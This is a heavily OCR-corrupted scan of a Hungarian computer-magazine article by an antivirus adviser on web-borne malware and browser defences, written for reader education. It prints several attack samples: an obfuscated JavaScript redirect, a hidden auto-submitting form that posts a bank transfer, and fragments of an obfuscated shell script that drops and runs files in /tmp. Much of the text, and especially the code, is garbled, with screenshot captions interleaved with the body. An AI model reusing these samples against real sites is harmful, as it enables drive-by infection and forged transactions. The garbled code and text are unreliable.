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Webalapu kartevok

Sorozatunk tizennegyedik epizédjaban webalapl kartevioket fogunk vizsgalni, bemutatjuk, milyen
trikkok vették at a korabbi, kizarolag levélmellékletekben utazd, egy allomanybol allé tamada-
sok szerepét. Természetesen kitérlink arra is, hogyan védekezhetlink elleniik.

levelezéssel terjedd virusok és
Afc'rgck néhany éve még igen

jelentds szerepet jatszottak
a fertdzések kialakulasaban. Mara
azonban - kiszonhetden a széles sav
egyre nagyobb elterjedtségének és
persze a timadasi mddszerek folya-
matos valtozdsanak, bovilésének —
egyre tobb, kiilonféle weboldalak és
a Live Messenger segitségével terje-
dd kartevd lepi el az internet vilagat.
Az 5-10 évvel ezelditti kényelmes,
Jegy dllomdny fertdzott — fogom - le-
torldm — minden gondom megoldo-
dik” tiigymenet [ényegesen bonyolul-
tabb lett.

Ha csak az idei év egy havanak ma-
gyarorszagi fertGzési toplistait néz-
ziik, meglepden sok kéretlen reklam-
programot taldlunk rajtuk. Még ha fi-
gyelmesek is vagyunk, nem dgy, mint
egyes felhasznalok, akik a Next—
Next-Next tipusti programtelepitése-
ket végzik, akkor is kell talalni valami

madszert arra, hogy az ilyen kdrté-
kony kédokat kizarhassuk. Ez a takti-
ka aztdn arra is gyogyirt jelent, hogy
az ilyen kétes alkalmazasok készi-
t6i és forgalmazdi ne zaklathassak
perekkel a biztonsagi szoftverek fej-
lesztdit, amiért kartevéként soroljak
be a profit reményében terjesztett
és a tisztességtelenség hatdrat erd-
sen strold programiaikat. A NOD32
esetében ezekre a Veszélyes alkalma-
zdsok és Kéretlen alkalmazdsok ke-
resése opcio szolgdl, amit viszont te-
lepitéskor a felhasznalonak kell kiva-
lasztania. Errdl a témdrdl részletesen
a 8. epizodban, 2008 dprilisdban ir-
tunk.

A kéretlen reklamszemét ,dldésai”
kozott nemcsak az erdforrasok feles-
leges herdaldsat, a bosszasagot ért-
jik, hanem az tizemszer(ien zajlé
kirteviterjesztést is meg kell emli-
teni. A levélmellékletek ,egylive-
ti" fertdzé programjai helyett mar jo
ideje az tgynevezett letoltd (down-
loader) kodok dolgoznak, amelyek
kulonféle kartékony web-
oldalakrdl tovabbi kom-
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ponenseket képesek

T a fertézott gépekre letol-

= teni, nemritkdn folyama-

tosan frissitik is ezeket

a véltozatos kdrokozas, és
a leleplezidés elkeriilése
érdekében.
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A LiveHTTPHeaders Firefox Plugin (livehttphea-
ders.mozdev.org) segitségével adatcsomag
szintjén ellendrizhetjiik a webszerver és a bén-

gészdkliens kozti forgalmat
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Az alap vértezeten (nap-
rakész virus- és kémprog-
ram-védelmi program,

a kétirdny( forgalmat el-
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lendrizni képes
tlizfalprogram)
feldl nem art egy
kis dvatossdg, és
néhdny apré dtlet
sem. Hasznos, ha
az Internet Explo-
rer helyett inkdbb
a biztonsago-
sabb Mozilla Fire-
fox vagy az Opera
bongészit része-
sitjiik elGnyben.
Réviden megem-
litink néhdny be-
épiilé modult
(plugin), amelyek
segitenek egy link,
illetve weboldal
esetében eldonte-
ni, érdemes-e to-
vabbmenni, rakat-
tintani. llyen segitséget kaphatunk

a NetCraft Toolbar (toolbar.netcraft.
com), a Finjan SecureBrowsing (se-
curebrowsing.finjan.com), a RGguard
{Robot Genius Cuard, www.robot-
genius.net), PhishTank SiteChecker
(phishtanksitechecker.com) és a Mc-
Afee SiteAdvisor (www.siteadvisor.
com) szoftver hasznalatokrol - figyel-
meztetnek a kdrosnak itélt oldalak
esetén. A ldtvanyos, piros szind és fi-
gyelmeztetd szoveggel is ellatott ab-
lak ellenére, ha akarjuk, feltilbiralhat-
juk az intést és mégs elldtogathatunk
aweboldalra.

A Webdeveloper megmutatja a generalt forraskédot,
igy nem verhetnek at az sszezavart (obfuscated)
programsorok

A weboldalakba kénnyen bedgyaz-
haté olyan ldthatatlan JavaScript kéd,
amelynek hatdsdra kilonféle kelle-
metlen események torténnek gépiin-
kon. Dramaian lelassul a masina vagy
csak a biingészés sebessége, tucat-
szam nyilnak fel reklimokkal terhelt
pop-up ablakok, kezddlapunkat atal-
litja valami, s6t bizonyos kedvenc (f6-
ként virusvédelmi) oldalaink esetén
valami blokkolja, letiltja ezek meg-
jelenését. A szkriptnyelveket sokan
lenézik, de igazsdg szerinl ezekkel,
valamint egy révid és tdmaor prog-
rammal szinte barmit meg lehet va-
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k kiilén besorolasi csoportjai vannak

tive Referer Remover (hopp.pcworld.hu/5249) megakadalyozza, hogy kiszol-
galtassuk a meglatogatott weboldalnak, hogy honnan, melyik weblaprol

kattintottunk at oda
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S tall -n 16 38 >

16 chmed 755 /tap/HogH: (/tnp/hmgM G); exit 8

11 Bk () {

12 [sed 3/51/57/g /tmp/Ngiuqtigl > tap/Eroe¥YTETEAr; cp /tmp/Erasy¥TETEar /tmp/Mgivqthgl }
= {

7iwp/NGLaniNgL; Tail - 27 50 > 7 iap;ARgh

17 EHbLyg, TWxiXK1I21u WWOCOTATG AEGVIINK LUK EroeYYTETEar dIMAYOB dils gehsgFMEQHHG]
18 Bfor dils in
19 [ domavoe 3 15
20 | weocots
21 Dwhile | gt 01 ; do
22 | d.
gt 88 -a Sgehigh 1 -1t 97 ] ; then
siprintf 30 GFMEQHHG1 )"
6 -1
T tail -n 29 50 > /inp/my_towpl; tail -n 27 50 » /tnp/my_tewp?
18 chuod 755 stap/my_tempz; (/tap/my_temgz &); exit o
11 Elay_repl ()
12 [ sed 575145279 stnp/uy_templ s tepsmy_temp3; ep /tmp/my_tenps /tmp/my_templ
e
tenpz my_nue my_cycle my_str ny_repl my_tempd make_rand my_i my_char”

In the world of Web, certain ch. don't travel well. This

e bhap 1887 ek BTS20 S o #9115 B G

Text Unescape Utility |

tstandard bext into “travel-

addrosses of local drives, ste,
text into the lower field and click [oscape]

1l
roady” text, and convert it back as well. Pxamplas whare this might b useful include data submittad from forms via e-mail,
Simply pasto tho cncoded toxt into the uppor taxt field and click [unescapal or paste roadablo

lity lets you sasily

The Eseaped (unrandable | snceded) text goes here
571 T unc L 1ork26A 238 Tova i 200y 30c:
e 22cerplata:

my char -1t 97 1 ; them
*Siprintf %o $ny _char)®
1

10 ans i B &

sQcC

T @ onjen @ e Gavdes ® Q@ S B 8QE im0 s

Az unescape() figgvény arra is jo eszkoz, hogy egy atlagfelhasznalo eldl el-
rejtse a linkek valédi tartalmat. A j6 hir, hogy nem okoz gondot a kibogozas

Sok szkriptes kartev6 épit a zagyva valtozonevekre, a kédhalmaz attekinté-
se és megértése szinte lehetetlen. Az also képen csak annyit tettiink, hogy

n~emberbarat” valtozonevekre cseréltik

a szemetet
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(SS)aBrectean s =]

This is a technique commoenly used in ph

If this is a mistake, please report it using

Do you still want to go there?

The page you are trying to visit is using Cross-Site Scripting (XSS).

URL: http:/fwww. matorostura_ hufmyAsg/engine asp%3fse.. %253C%252F script%253E

‘Report Incorrectly Blocked URL' in the Neteraft Menu

ighing attacks.

c,'.j.,'rés

A Netcraft Toolbar is hasznos plugin, itt
tamadasra figyelmeztet

[6sitani a gépen - és ez jot és rosszat
egyarant jelent. A korabban emli-
tett tartalmi tandcsaddok mellett lehe-
tdségiink van a weboldalon futtatott
szkriptek teljes blokkoldsara, finom-
hangolt részleges vagy teljes engedé-
lyezésére, sit mindezt végleges vagy
ideiglenes szabdlyokkal is leirhatjuk.
A varazseszkéz neve NoScript (hopp.
peworld.huf1582).

Aki programozott mar valamilyen
szkript nyelvet (VBS, JS, Ruby, Perl
sth.), az tudja, barmilyen egysze-

éppen egy Cross Site Scripting (XS5)

rii feladatot rovid dton is meg lehet
bonyolitani. Ha valaki hasznalt mar
Perlben reguldris kifejezéseket min-
taillesztéshez, az tudja, mirdl beszé-
link. Azonban amig ez tomaor és ha-
tékony, vannak esetek — fként a kar-
tevikészitok élnek ezzel —, amikor
ennél is tovibbmenve, a kddot szan-
dékosan olyan zagyvilt (nem okvet-
leniil thmdrebb) forméara hozzak,
hogy azon aztan ember legyen a tal-
pan, aki kiigazodik. Nézziink is egy
példét, ahol mindossze a vdltozdne-
vek helyett szerepelnek mindenfé-
le vad stringek: agyunk szinte képte-

A NoScript beallitasok kozt még olyan finomsagokat is talalunk, mint az

IFRAME elemek tiltasa

@

az Unescape Utility segitségével: kivag-beilleszt-Entert it-oril

len felfogni, ki kivel van, hol a ciklus
eleje, vége sth. Segitheti a viruselem-
z6k munkdjat, ha az altalanos ko-
doldsi szokdsoknak megfeleld, illet-
ve beszéld nevi viltozokra cseréljik
a zagyvasagokat.

Amikor az ilyen szkriptes kédban egy
adott weboldalra kell ugrani, nehéz
észrevétlendl beleirni egy HTTP ¢i-
met. Erre szoktak haszndlni az unes-
cape() fliggvényt, ahol a karakte-

rek kodjainak segitségével ugyanazt
a feladatot elvégzd programsort egy
tldthatatlan %szdm%szdm rendsze-
rii karakterfiizérre cserélhetjik. Ha
egy ilyenbe bele szeretnénk nézni,
egy kis segitségre szorulunk. Szeren-
csére léteznek mar kalon weboldalak
is, ahol mindassze annyi a dolgunk,
hogy bedobjuk a zavaros kadhal-
mazt az egyik boxba, és a masikban
maris szép olvashatdan, tagoltan td-
nik fel a JavaScript program.

Létezik emellett egy Web Develo-
per (hopp.peworld.huf2119) nevd
Firefox beépiil is, amellyel egy ki-
léin ablakban megjelenithetd a gene-
rdlt forrdskad is, mér kibontott és be-
helyettesitett formaban.

A kirtevok azonban nemcsak e-mai
ben, IRC-csevegés esetén vagy web-
oldalakrél érkezhetnek, hanem Mes-
sengeren is. Mivel itt is lehetséges

a fajlkaldés, érkezhet ldtszolag isme-
rdstdl olyan linket, esetleg dllomanyt
tartalmazd (izenet, amelyre rdkattint-
va vagy megnyitva elindulhat a fer-
tdzés. llyenkor érdemes eldvigydza-
tosnak lenni, akdr meg is kérdezhet-
juk a partnert, valéban & kiildte-e
nekiink. Szoktak olyan csali webol-
dalt is késziteni (ilyen példaul a hi5.
com), ahol elkérik valamennyi cseve-
g0 és kozasségi portdlhoz tartozd név
és jelszo adatunkat azzal az driiggyel,
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<SCRIPT language=JavaScript>
function otqzyu(nemz)juyu="lo";sdfwe78="catio";
kjj="n.r";vj20=2 ;uyty:”eplac" siniuhB889="e" ;vbb25:"( L E
awq27="";sftfttft=4;fghdh=""ht";ji87gkol="tp:/";
polkiuu="/vi"; jbhj89="deo" ; jhbhi87="zf" ; hgdxgf="re";
jkhuift="e.c"; jygyhg="om’"; dhd=eval (fghdh+ji87gkol+
polkiuutj bhj89+jhbhi87+hgdng+jk_huift+jygyhg) ije 15=“’)" 5
if (vj20+sftfttft==6) eval(juyu+sdfwe78+kjj+ uyty+
iuiuh8889+4vbb26+awq27+dh4+jelb);

otqzyu();//
</SCRIPT>

location.replace(’http://videozfree.com’)

Példa a szandékos elbonyolitasra, amelynek célja az olvashatésag rontasa.
Fent a zagyvalt (obfuscated) kod és lent ugyanennek az olvashaté meg-

feleldje lathat6

hogy automatikusan felkutatjak majd
ismerdseinket. Aki van olyan gyandt-
lan, és megadja ezeket, igazi spamla-
vindt ereszt ra az ismeretségi korére,
a rokonai és tzletfelei pedig nem iga-
zén fogjik imaba foglalni a nevét.

Az XSS, vagy ,magyarul” Cross Site
Scripting technoldgia egy olyan lehe-
toség, amelynek segitségével a tdma-
dénak lehetdsége van meghizhatatlan
kadot lefuttatni a bongészében egy
megbizhald tartomdnyon keresztil, és
sajndlatos médon sokszor ez teljesen
észrevétlentl zajlik. Az ilyen kédo-
kat vagy a készitG teszi fel szindéko-
san, vagy kilonbazdé manipuldcidkkal
(példaul rosszul megirt, ellendrizet-
len adatokkal dolgoza drlap feldolgo-
zasaval) helyezhetik el a weboldala-
kon. A timadds megvaldsithatd IMG,
SCRIPT és IFRAME elemekkel is.

Az ilyen kod barmilyen weboldal-
ba, blogba, wikibe vagy akdr e-ma-
il izenetbe is behelyezhetd. Néz-
ziink egy példat: ebben az esetben
a Netflix.com oldalanak egyik drlap-
jaba (form) kéretlentil beépitett ta-
madé kodot:
<img sre=http:/fwww.netflix.com/
AddToQueuesmovieid=70011204
width="1" height="1" border="0">
<body onload="document.forms[0].
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submit()”>
<form method="POST" acti-
on="https://bank.com/transfer.do”>
<input type="hidden” name="acco-
unt” value="123456789"1>
<input type="hidden” name="amo-
unt” value="2500"1>
<fform>

Jol lathato, hogy a csendben beil-
lesztett kod igyekszik kertilni a feltd-
nést: az 1 pixelszer 1 pixeles képmé-
ret, az Grlapon belili rejtett (hidden)
mezdk mind ezt a célt szolgdljak.

XSS bajok ellen egyébként létezik
két kiilon Firefox plugin is XSS Guar-
dian Panel (hopp.pcworld.hu/5242)
és XSS Warning (hopp.pcworld.
hu/5243) néven, érdemes ezeket
haszndlni. Akit pedig mélyebben ér-
dekel a téma, az olvasgassa a Buhe-
ra blogot (buhera.blog.hu), amely sok
ilyen, és ehhez hasonld timadasrdl ad
friss, részletes szakmai beszamolét.

A cikk elején szo volt arrdl, hogy az
egyre tobb kiilin dllomanybal 4ll6, és
tovabbi letdltéseket végzd karokozo
komponensektdl sokszor igen nehéz
megszabadulni. A sok lényeges kiilonb-
ség koziil az egyik legfontosabb a vi-
rusirté és a kémprogramellenes alkal-
mazasok k6zott, hogy mig az antivirus

hurce e

@ ESET smart secunty x|

<!-- Copyright Information -->

<div align='center’' class='copyright’'>Powered by
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Az Invision Power Board webszerverét 2006 6szén tamadtak meg, és az
alabbi IFRAME tageket illesztették bele, amikkel pedig megfertézték a gya-
nutlan latogatokat. Az effajta tamadasok szama évrél évre novekszik
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béngészdkliens

hasznalata miatt

A bongészdhasznalok és a rajuk leselkedd veszélyek mértékét szimbolizalo
piramis. Jol lathato, hogy a legjobb helyzetben azok vannak, akik biztonsagos

int azokat rend esen frissitik

béngészdket és plugineket h

a fert6zés megsziintetése érdekében
kizarélag a kdros dllomdnyokat térli, il-
letve helyezi karanténba, addig a kém-
programirtok adatbdzisa a kéretlen rek-
ldimok, kémprogramok dltal médositott
Registry bejegyzéseket is képesek hely-
redllitani, illetve sok esetben a tovabbi,
mdr nem fertéz4, de felesleges kompo-
nenseit is képesek kitGrolni. Néhdny fz-
ben az okozhat gondot, ha egy adott
kartevs nem tarolhetd ki, mert , fog-

ja a rendszer”, llyenkor segithet rajtunk
az UnDLL (hopp.peworld.hu/5244),
illetve az Unlocker (hopp.peworld.
hu/2130) alkalmazas, amely programo-
kat pontosan ezekre a helyzetekre fej-
lesztették ki.

Ha valakinek van weboldala, néz-
zen rd idénként: nem torték-e fel,
nem babriltik-e meg az SQL-adatbd-
zist, nincs-e beszdrva a lap aljdra Java-
Script kéd, nincs-e gyantis mozgds a lo-
gokban. Ha valakinek erre nincs ideje
vagy esetleg nem ért hozzd, akkor pe-
dig bizzon meg ezzel valakit. Ha ezt
sem teszi, inkabb ne legyen weboldala,
mert nem tudja felelsséggel birtokol-
ni, karbantartani. Idével lehet, hogy az
mar nem az & honlapja lesz.

Az ellendrzés automatizaldsara ir-
haté megfeleld program, amely meg-

KAPCSOLODO WEBOLDALAK

adott iddkézonként elmenti a kulcs-
fajlokat és azokat dsszeveti a kordb-
ban tdrolt valtozattal. De erre a célra
létezik madr kilon villalkozds is: a cég
a weboldalak illegdlis médositdsa ese-
tén e-mailben és SMS-ben is riasztani
tudja a véllalat vezetdit, illetve a rend-
szergazdat — eziton készoniik az infét
az antivirus.blog.hu kommenteldinek.
Mindenesetre, ha 6vni akarjuk webol-
dalunkat, akkor csak egyet nem tehe-
tiink: azt, hogy nem tesziink semmit.
A weboldalak és tizendprogramok
mellett a zenefdjlokat sem szabad ki-
hagyni a szamitasbol. Vannak olyan,
preparalt MP3 kiterjesztésii alloma-
nyok, amelyek lejitszaskor azonnal
megfertozik a szamitogépet. Bar ennek
valodi fajltipusa WMA (Windows Meclia
Audio), a Windows Media Player még-
is megkisérli a lejatszast — amely ugyan
nem sikerl neki, de a bongészd auto-
matikusan elindul és tovabbi kartékony
dlloményok letoltését inditja el.
*kk
Kérjiik kedves olvasdinkat, ha a té-
mdban kérdésiik, hozzdszdlasuk van,
juttassak el hozzank
(velemeny@pcworld.hu).
Csizmazia Istvdn,
virusvédelmi tanicsado
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

Bar szorosan nem a klasszikus bongészéshez kapcsoladik, de zenét letolteni

(weboldalrél, FTP-rél, torrentrél) szinte mindenki szokott. Vannak azonban
olyan, preparalt MP3 kiterjesztésii allomanyok, amelyek lejatszaskor azon-
nal megfertézik a szamitogépet
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Az ESET magyar nyelv( viruslexikona: wwwi.eset.hu/virus
Az XSS és SQL Injection alapti tdmaddésokrol magyarul: hopp.peworld.hu/5245,
hopp.peworld.hu/5246, hopp.pcworld.hu/5247




